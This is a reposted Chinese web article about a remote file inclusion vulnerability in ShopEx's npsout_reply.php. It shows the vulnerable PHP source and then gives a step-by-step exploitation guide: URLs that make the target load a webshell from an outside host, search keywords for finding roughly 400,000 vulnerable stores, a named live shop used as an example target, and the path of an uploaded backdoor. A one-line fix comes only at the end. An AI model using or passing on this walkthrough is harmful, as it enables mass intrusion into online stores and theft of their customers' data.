首页 > 资讯列表 > 服务器 >> 安全

SHOPEX最新漏洞利用及解决方案

安全 2014-07-22 00:04:40 转载来源: 网络整理/侵权必删

站长搜索提供的有关服务器安全的资讯信息! 网站监控 服务器监控 SEO监控   漏洞平台:SHOPEX   危害程度:★★★★☆   关于ShopEx:   ShopEx是网络购物软件与技术服务全面提供商,ShopEx做为国内购物软件的开拓者和实践者,提供了从购物软件(包括网上商店、网上商城、网上商店多店系统)到相关配套服务(网店推广、模板设计、流量监测、商业智能分析、网上支付、网店互联、购物系统定制开发等)以及深层次的电子商务技术服务。   漏洞原理:   看这里:/shop/npsout_reply.php include_once($INC_SYSHOMEDIR."include/PayFunction.php"); //=========================== 把商家的相关信息返回去 ======================= //接收组件的加密 $OrderInfo = $_POST['OrderMessage

站长搜索提供的有关服务器安全的资讯信息! 网站监控 服务器监控 SEO监控

  漏洞平台:SHOPEX   危害程度:★★★★☆

  关于ShopEx:

  ShopEx是网络购物软件与技术服务全面提供商,ShopEx做为国内购物软件的开拓者和实践者,提供了从购物软件(包括网上商店、网上商城、网上商店多店系统)到相关配套服务(网店推广、模板设计、流量监测、商业智能分析、网上支付、网店互联、购物系统定制开发等)以及深层次的电子商务技术服务。

  漏洞原理:

  看这里:/shop/npsout_reply.php

include_once($INC_SYSHOMEDIR."include/PayFunction.php"); //=========================== 把商家的相关信息返回去 ======================= //接收组件的加密 $OrderInfo = $_POST['OrderMessage']; //订单加密信息 $signMsg = $_POST['Digest']; //密匙 $m_id = $_POST['m_id']; //=========================== 开始加密 ==================================== //检查签名 $shopPayment = newclass("shopPayment"); $key = $shopPayment->getKey($INC_SHOPID, $m_id, "NPS_OUT"); $digest = md5($OrderInfo.$key); //var_dump($_POST); if ($digest == $signMsg) {  //将HEX还原成字符  $OrderInfo = HexToStr($OrderInfo);  //DES解密  $recovered_message = des($key, $OrderInfo, 0, 1, null);  //echo "DES Test Decrypted: " . $recovered_message;  $orderArray = split('[|]',$recovered_message);  $m_id = $orderArray[0];  $m_orderid = $orderArray[1];  $m_oamount = $orderArray[2];  $m_ocurrency = $orderArray[3];  $m_url = $orderArray[4];  // m_txcode = array[5];  $m_language = $orderArray[5];  $s_name = $orderArray[6];  $s_addr = $orderArray[7];  $s_postcode = $orderArray[8];  $s_tel = $orderArray[9];  $s_eml = $orderArray[10];  $r_name = $orderArray[11];  $r_addr = $orderArray[12];  $r_postcode = $orderArray[13];  $r_tel = $orderArray[14];  $r_eml = $orderArray[15];  $m_ocomment = $orderArray[16];  $modate = $orderArray[17];  $Status = $orderArray[18];  if ($Status == 2)  {  $Order = newclass("Order");  $Order->shopId = $INC_SHOPID;  $Order->payid = $m_orderid;  $arr_paytime = getUnixtime(); //支付时间  $Order->onlinePayed($arr_paytime[0], $arr_paytime[1]);    $tmp_orderno = $Order->getorderidbyPayid($Order->payid); //拿出商店订单号  $state = 2 ;  $strinfo = $PROG_TAGS["ptag_1334"];  }  else{  $state = 1 ;  $strinfo = $PROG_TAGS["ptag_1335"];  } }else{  $state = 0 ;  $strinfo = $PROG_TAGS["ptag_1336"]; }

Header("Location: ./index.php?gOo=pay_reply.dwt&order&state=".$state."&strinfo=".urlencode($strinfo)); ?>

  假设在 http://www.sagi.net.cn 根目录下有个include文件夹,里面有PayFunction.php文件(这是我们自己构造的,当然文件的内容可是小马也可是大马 呵呵)

  我们用如下方法就可以利用之http://www.xxxx.com/shop/npsout_reply.php?INC_SYSHOMEDIR=http://www.sagi.net.cn

  简单的说远程攻击者可以利用漏洞以WEB进程权限执行任意PHP命令。具体情节是'npsout_reply.php'脚本对用户提交的'npsout_root_path'参数缺少过滤指定远程服务器上的任意文件作为包含对象,可导致以WEB权限执行任意PHP代码

  漏洞实战:

构造URL: http://www.xxxx.com/shop/npsout_reply.php?INC_SYSHOMEDIR=http://www.sagi.net.cn/php.txt? 注意: [http://www.sagi.net.cn/php.txt?] 其实并没有在 http://www.sagi.net.cn 所在的服务器上执行而是在 "http://www.xxxx.com" 上执行的。

  简单的说.通过SHOPEX系统,我在中国的服务器上执行了美国服务器上的代码。而这个代码的主人是美国服务器。却在中国的服务器上被执行。

  所以我在中国的服务器上执行命令。美国的服务器就乖乖的执行任务。就这么简单。

  漏洞实验:

  关键词:产品目录 联系我们 关于我们 常见问题 安全交易 购买流程 如何付款

  可以找到40多万个用此系统的站.也就意味着40多万个站将被沦陷.

  在目标站后面加上:/shop/npsout_reply.php?INC_SYSHOMEDIR=http://www.sagi.net.cn/php.txt?

  就出现了远程执行php大马的画面。

  如:http://www.oicqshop.com/oicqshop/shop/npsout_reply.php?INC_SYSHOMEDIR=http://www.sagi.net.cn/php.txt?

  然后上传php大马,就可以了。

      访问:如:http://www.oicqshop.com/oicqshop/shop/bsthacker.php

  至于解决方案.官方未公布。   可以删除shop目录下的npsout_reply.php文件。

标签: SHOPEX 最新漏洞 利用 解决方案


声明:本文内容来源自网络,文字、图片等素材版权属于原作者,平台转载素材出于传递更多信息,文章内容仅供参考与学习,切勿作为商业目的使用。如果侵害了您的合法权益,请您及时与我们联系,我们会在第一时间进行处理!我们尊重版权,也致力于保护版权,站搜网感谢您的分享!

站长搜索

http://www.adminso.com

Copyright @ 2007~2024 All Rights Reserved.

Powered By 站长搜索

打开手机扫描上面的二维码打开手机版


使用手机软件扫描微信二维码

关注我们可获取更多热点资讯

站长搜索目录系统技术支持